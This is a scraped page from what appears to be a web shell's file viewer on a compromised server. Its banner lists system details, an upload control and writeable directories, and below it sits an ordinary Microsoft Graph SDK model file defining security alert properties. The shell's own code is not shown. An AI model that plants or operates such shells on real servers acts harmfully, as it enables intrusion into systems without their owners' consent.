Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/includes/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/includes/microsoft/microsoft-graph/src/Beta/Microsoft/Graph/Model/Alert_v2.php
<?php
/**
* Copyright (c) Microsoft Corporation.  All Rights Reserved.  Licensed under the MIT License.  See License in the project root for license information.
* 
* Alert_v2 File
* PHP version 7
*
* @category  Library
* @package   Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license   https://opensource.org/licenses/MIT MIT License
* @link      https://graph.microsoft.com
*/
namespace Beta\Microsoft\Graph\Model;

/**
* Alert_v2 class
*
* @category  Model
* @package   Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license   https://opensource.org/licenses/MIT MIT License
* @link      https://graph.microsoft.com
*/
class Alert_v2 extends Entity
{
    /**
    * Gets the aadTenantId
    *
    * @return string|null The aadTenantId
    */
    public function getAadTenantId()
    {
        if (array_key_exists("aadTenantId", $this->_propDict)) {
            return $this->_propDict["aadTenantId"];
        } else {
            return null;
        }
    }

    /**
    * Sets the aadTenantId
    *
    * @param string $val The aadTenantId
    *
    * @return Alert_v2
    */
    public function setAadTenantId($val)
    {
        $this->_propDict["aadTenantId"] = $val;
        return $this;
    }

    /**
    * Gets the actorDisplayName
    *
    * @return string|null The actorDisplayName
    */
    public function getActorDisplayName()
    {
        if (array_key_exists("actorDisplayName", $this->_propDict)) {
            return $this->_propDict["actorDisplayName"];
        } else {
            return null;
        }
    }

    /**
    * Sets the actorDisplayName
    *
    * @param string $val The actorDisplayName
    *
    * @return Alert_v2
    */
    public function setActorDisplayName($val)
    {
        $this->_propDict["actorDisplayName"] = $val;
        return $this;
    }

    /**
    * Gets the alertWebUrl
    *
    * @return string|null The alertWebUrl
    */
    public function getAlertWebUrl()
    {
        if (array_key_exists("alertWebUrl", $this->_propDict)) {
            return $this->_propDict["alertWebUrl"];
        } else {
            return null;
        }
    }

    /**
    * Sets the alertWebUrl
    *
    * @param string $val The alertWebUrl
    *
    * @return Alert_v2
    */
    public function setAlertWebUrl($val)
    {
        $this->_propDict["alertWebUrl"] = $val;
        return $this;
    }

    /**
    * Gets the assignedTo
    *
    * @return string|null The assignedTo
    */
    public function getAssignedTo()
    {
        if (array_key_exists("assignedTo", $this->_propDict)) {
            return $this->_propDict["assignedTo"];
        } else {
            return null;
        }
    }

    /**
    * Sets the assignedTo
    *
    * @param string $val The assignedTo
    *
    * @return Alert_v2
    */
    public function setAssignedTo($val)
    {
        $this->_propDict["assignedTo"] = $val;
        return $this;
    }

    /**
    * Gets the category
    *
    * @return string|null The category
    */
    public function getCategory()
    {
        if (array_key_exists("category", $this->_propDict)) {
            return $this->_propDict["category"];
        } else {
            return null;
        }
    }

    /**
    * Sets the category
    *
    * @param string $val The category
    *
    * @return Alert_v2
    */
    public function setCategory($val)
    {
        $this->_propDict["category"] = $val;
        return $this;
    }

    /**
    * Gets the classification
    *
    * @return AlertClassification_v2|null The classification
    */
    public function getClassification()
    {
        if (array_key_exists("classification", $this->_propDict)) {
            if (is_a($this->_propDict["classification"], "\Beta\Microsoft\Graph\Model\AlertClassification_v2") || is_null($this->_propDict["classification"])) {
                return $this->_propDict["classification"];
            } else {
                $this->_propDict["classification"] = new AlertClassification_v2($this->_propDict["classification"]);
                return $this->_propDict["classification"];
            }
        }
        return null;
    }

    /**
    * Sets the classification
    *
    * @param AlertClassification_v2 $val The classification
    *
    * @return Alert_v2
    */
    public function setClassification($val)
    {
        $this->_propDict["classification"] = $val;
        return $this;
    }


     /**
     * Gets the comments
     *
     * @return array|null The comments
     */
    public function getComments()
    {
        if (array_key_exists("comments", $this->_propDict)) {
           return $this->_propDict["comments"];
        } else {
            return null;
        }
    }

    /**
    * Sets the comments
    *
    * @param AlertComment_v2[] $val The comments
    *
    * @return Alert_v2
    */
    public function setComments($val)
    {
        $this->_propDict["comments"] = $val;
        return $this;
    }

    /**
    * Gets the createdDateTime
    *
    * @return \DateTime|null The createdDateTime
    */
    public function getCreatedDateTime()
    {
        if (array_key_exists("createdDateTime", $this->_propDict)) {
            if (is_a($this->_propDict["createdDateTime"], "\DateTime") || is_null($this->_propDict["createdDateTime"])) {
                return $this->_propDict["createdDateTime"];
            } else {
                $this->_propDict["createdDateTime"] = new \DateTime($this->_propDict["createdDateTime"]);
                return $this->_propDict["createdDateTime"];
            }
        }
        return null;
    }

    /**
    * Sets the createdDateTime
    *
    * @param \DateTime $val The createdDateTime
    *
    * @return Alert_v2
    */
    public function setCreatedDateTime($val)
    {
        $this->_propDict["createdDateTime"] = $val;
        return $this;
    }

    /**
    * Gets the description
    *
    * @return string|null The description
    */
    public function getDescription()
    {
        if (array_key_exists("description", $this->_propDict)) {
            return $this->_propDict["description"];
        } else {
            return null;
        }
    }

    /**
    * Sets the description
    *
    * @param string $val The description
    *
    * @return Alert_v2
    */
    public function setDescription($val)
    {
        $this->_propDict["description"] = $val;
        return $this;
    }

    /**
    * Gets the detectorId
    *
    * @return string|null The detectorId
    */
    public function getDetectorId()
    {
        if (array_key_exists("detectorId", $this->_propDict)) {
            return $this->_propDict["detectorId"];
        } else {
            return null;
        }
    }

    /**
    * Sets the detectorId
    *
    * @param string $val The detectorId
    *
    * @return Alert_v2
    */
    public function setDetectorId($val)
    {
        $this->_propDict["detectorId"] = $val;
        return $this;
    }

    /**
    * Gets the determination
    *
    * @return AlertDetermination_v2|null The determination
    */
    public function getDetermination()
    {
        if (array_key_exists("determination", $this->_propDict)) {
            if (is_a($this->_propDict["determination"], "\Beta\Microsoft\Graph\Model\AlertDetermination_v2") || is_null($this->_propDict["determination"])) {
                return $this->_propDict["determination"];
            } else {
                $this->_propDict["determination"] = new AlertDetermination_v2($this->_propDict["determination"]);
                return $this->_propDict["determination"];
            }
        }
        return null;
    }

    /**
    * Sets the determination
    *
    * @param AlertDetermination_v2 $val The determination
    *
    * @return Alert_v2
    */
    public function setDetermination($val)
    {
        $this->_propDict["determination"] = $val;
        return $this;
    }

    /**
    * Gets the firstActivityDateTime
    *
    * @return \DateTime|null The firstActivityDateTime
    */
    public function getFirstActivityDateTime()
    {
        if (array_key_exists("firstActivityDateTime", $this->_propDict)) {
            if (is_a($this->_propDict["firstActivityDateTime"], "\DateTime") || is_null($this->_propDict["firstActivityDateTime"])) {
                return $this->_propDict["firstActivityDateTime"];
            } else {
                $this->_propDict["firstActivityDateTime"] = new \DateTime($this->_propDict["firstActivityDateTime"]);
                return $this->_propDict["firstActivityDateTime"];
            }
        }
        return null;
    }

    /**
    * Sets the firstActivityDateTime
    *
    * @param \DateTime $val The firstActivityDateTime
    *
    * @return Alert_v2
    */
    public function setFirstActivityDateTime($val)
    {
        $this->_propDict["firstActivityDateTime"] = $val;
        return $this;
    }

    /**
    * Gets the incidentId
    *
    * @return string|null The incidentId
    */
    public function getIncidentId()
    {
        if (array_key_exists("incidentId", $this->_propDict)) {
            return $this->_propDict["incidentId"];
        } else {
            return null;
        }
    }

    /**
    * Sets the incidentId
    *
    * @param string $val The incidentId
    *
    * @return Alert_v2
    */
    public function setIncidentId($val)
    {
        $this->_propDict["incidentId"] = $val;
        return $this;
    }

    /**
    * Gets the incidentWebUrl
    *
    * @return string|null The incidentWebUrl
    */
    public function getIncidentWebUrl()
    {
        if (array_key_exists("incidentWebUrl", $this->_propDict)) {
            return $this->_propDict["incidentWebUrl"];
        } else {
            return null;
        }
    }

    /**
    * Sets the incidentWebUrl
    *
    * @param string $val The incidentWebUrl
    *
    * @return Alert_v2
    */
    public function setIncidentWebUrl($val)
    {
        $this->_propDict["incidentWebUrl"] = $val;
        return $this;
    }

    /**
    * Gets the lastActivityDateTime
    *
    * @return \DateTime|null The lastActivityDateTime
    */
    public function getLastActivityDateTime()
    {
        if (array_key_exists("lastActivityDateTime", $this->_propDict)) {
            if (is_a($this->_propDict["lastActivityDateTime"], "\DateTime") || is_null($this->_propDict["lastActivityDateTime"])) {
                return $this->_propDict["lastActivityDateTime"];
            } else {
                $this->_propDict["lastActivityDateTime"] = new \DateTime($this->_propDict["lastActivityDateTime"]);
                return $this->_propDict["lastActivityDateTime"];
            }
        }
        return null;
    }

    /**
    * Sets the lastActivityDateTime
    *
    * @param \DateTime $val The lastActivityDateTime
    *
    * @return Alert_v2
    */
    public function setLastActivityDateTime($val)
    {
        $this->_propDict["lastActivityDateTime"] = $val;
        return $this;
    }

    /**
    * Gets the lastUpdateDateTime
    *
    * @return \DateTime|null The lastUpdateDateTime
    */
    public function getLastUpdateDateTime()
    {
        if (array_key_exists("lastUpdateDateTime", $this->_propDict)) {
            if (is_a($this->_propDict["lastUpdateDateTime"], "\DateTime") || is_null($this->_propDict["lastUpdateDateTime"])) {
                return $this->_propDict["lastUpdateDateTime"];
            } else {
                $this->_propDict["lastUpdateDateTime"] = new \DateTime($this->_propDict["lastUpdateDateTime"]);
                return $this->_propDict["lastUpdateDateTime"];
            }
        }
        return null;
    }

    /**
    * Sets the lastUpdateDateTime
    *
    * @param \DateTime $val The lastUpdateDateTime
    *
    * @return Alert_v2
    */
    public function setLastUpdateDateTime($val)
    {
        $this->_propDict["lastUpdateDateTime"] = $val;
        return $this;
    }

    /**
    * Gets the mitreTechniques
    *
    * @return string|null The mitreTechniques
    */
    public function getMitreTechniques()
    {
        if (array_key_exists("mitreTechniques", $this->_propDict)) {
            return $this->_propDict["mitreTechniques"];
        } else {
            return null;
        }
    }

    /**
    * Sets the mitreTechniques
    *
    * @param string $val The mitreTechniques
    *
    * @return Alert_v2
    */
    public function setMitreTechniques($val)
    {
        $this->_propDict["mitreTechniques"] = $val;
        return $this;
    }

    /**
    * Gets the providerAlertId
    *
    * @return string|null The providerAlertId
    */
    public function getProviderAlertId()
    {
        if (array_key_exists("providerAlertId", $this->_propDict)) {
            return $this->_propDict["providerAlertId"];
        } else {
            return null;
        }
    }

    /**
    * Sets the providerAlertId
    *
    * @param string $val The providerAlertId
    *
    * @return Alert_v2
    */
    public function setProviderAlertId($val)
    {
        $this->_propDict["providerAlertId"] = $val;
        return $this;
    }

    /**
    * Gets the resolvedDateTime
    *
    * @return \DateTime|null The resolvedDateTime
    */
    public function getResolvedDateTime()
    {
        if (array_key_exists("resolvedDateTime", $this->_propDict)) {
            if (is_a($this->_propDict["resolvedDateTime"], "\DateTime") || is_null($this->_propDict["resolvedDateTime"])) {
                return $this->_propDict["resolvedDateTime"];
            } else {
                $this->_propDict["resolvedDateTime"] = new \DateTime($this->_propDict["resolvedDateTime"]);
                return $this->_propDict["resolvedDateTime"];
            }
        }
        return null;
    }

    /**
    * Sets the resolvedDateTime
    *
    * @param \DateTime $val The resolvedDateTime
    *
    * @return Alert_v2
    */
    public function setResolvedDateTime($val)
    {
        $this->_propDict["resolvedDateTime"] = $val;
        return $this;
    }

    /**
    * Gets the serviceSource
    *
    * @return ServiceSource|null The serviceSource
    */
    public function getServiceSource()
    {
        if (array_key_exists("serviceSource", $this->_propDict)) {
            if (is_a($this->_propDict["serviceSource"], "\Beta\Microsoft\Graph\Model\ServiceSource") || is_null($this->_propDict["serviceSource"])) {
                return $this->_propDict["serviceSource"];
            } else {
                $this->_propDict["serviceSource"] = new ServiceSource($this->_propDict["serviceSource"]);
                return $this->_propDict["serviceSource"];
            }
        }
        return null;
    }

    /**
    * Sets the serviceSource
    *
    * @param ServiceSource $val The serviceSource
    *
    * @return Alert_v2
    */
    public function setServiceSource($val)
    {
        $this->_propDict["serviceSource"] = $val;
        return $this;
    }

    /**
    * Gets the severity
    *
    * @return AlertSeverity_v2|null The severity
    */
    public function getSeverity()
    {
        if (array_key_exists("severity", $this->_propDict)) {
            if (is_a($this->_propDict["severity"], "\Beta\Microsoft\Graph\Model\AlertSeverity_v2") || is_null($this->_propDict["severity"])) {
                return $this->_propDict["severity"];
            } else {
                $this->_propDict["severity"] = new AlertSeverity_v2($this->_propDict["severity"]);
                return $this->_propDict["severity"];
            }
        }
        return null;
    }

    /**
    * Sets the severity
    *
    * @param AlertSeverity_v2 $val The severity
    *
    * @return Alert_v2
    */
    public function setSeverity($val)
    {
        $this->_propDict["severity"] = $val;
        return $this;
    }

    /**
    * Gets the status
    *
    * @return AlertStatus_v2|null The status
    */
    public function getStatus()
    {
        if (array_key_exists("status", $this->_propDict)) {
            if (is_a($this->_propDict["status"], "\Beta\Microsoft\Graph\Model\AlertStatus_v2") || is_null($this->_propDict["status"])) {
                return $this->_propDict["status"];
            } else {
                $this->_propDict["status"] = new AlertStatus_v2($this->_propDict["status"]);
                return $this->_propDict["status"];
            }
        }
        return null;
    }

    /**
    * Sets the status
    *
    * @param AlertStatus_v2 $val The status
    *
    * @return Alert_v2
    */
    public function setStatus($val)
    {
        $this->_propDict["status"] = $val;
        return $this;
    }

    /**
    * Gets the threatDisplayName
    *
    * @return string|null The threatDisplayName
    */
    public function getThreatDisplayName()
    {
        if (array_key_exists("threatDisplayName", $this->_propDict)) {
            return $this->_propDict["threatDisplayName"];
        } else {
            return null;
        }
    }

    /**
    * Sets the threatDisplayName
    *
    * @param string $val The threatDisplayName
    *
    * @return Alert_v2
    */
    public function setThreatDisplayName($val)
    {
        $this->_propDict["threatDisplayName"] = $val;
        return $this;
    }

    /**
    * Gets the threatFamilyName
    *
    * @return string|null The threatFamilyName
    */
    public function getThreatFamilyName()
    {
        if (array_key_exists("threatFamilyName", $this->_propDict)) {
            return $this->_propDict["threatFamilyName"];
        } else {
            return null;
        }
    }

    /**
    * Sets the threatFamilyName
    *
    * @param string $val The threatFamilyName
    *
    * @return Alert_v2
    */
    public function setThreatFamilyName($val)
    {
        $this->_propDict["threatFamilyName"] = $val;
        return $this;
    }

    /**
    * Gets the title
    *
    * @return string|null The title
    */
    public function getTitle()
    {
        if (array_key_exists("title", $this->_propDict)) {
            return $this->_propDict["title"];
        } else {
            return null;
        }
    }

    /**
    * Sets the title
    *
    * @param string $val The title
    *
    * @return Alert_v2
    */
    public function setTitle($val)
    {
        $this->_propDict["title"] = $val;
        return $this;
    }

}

Hry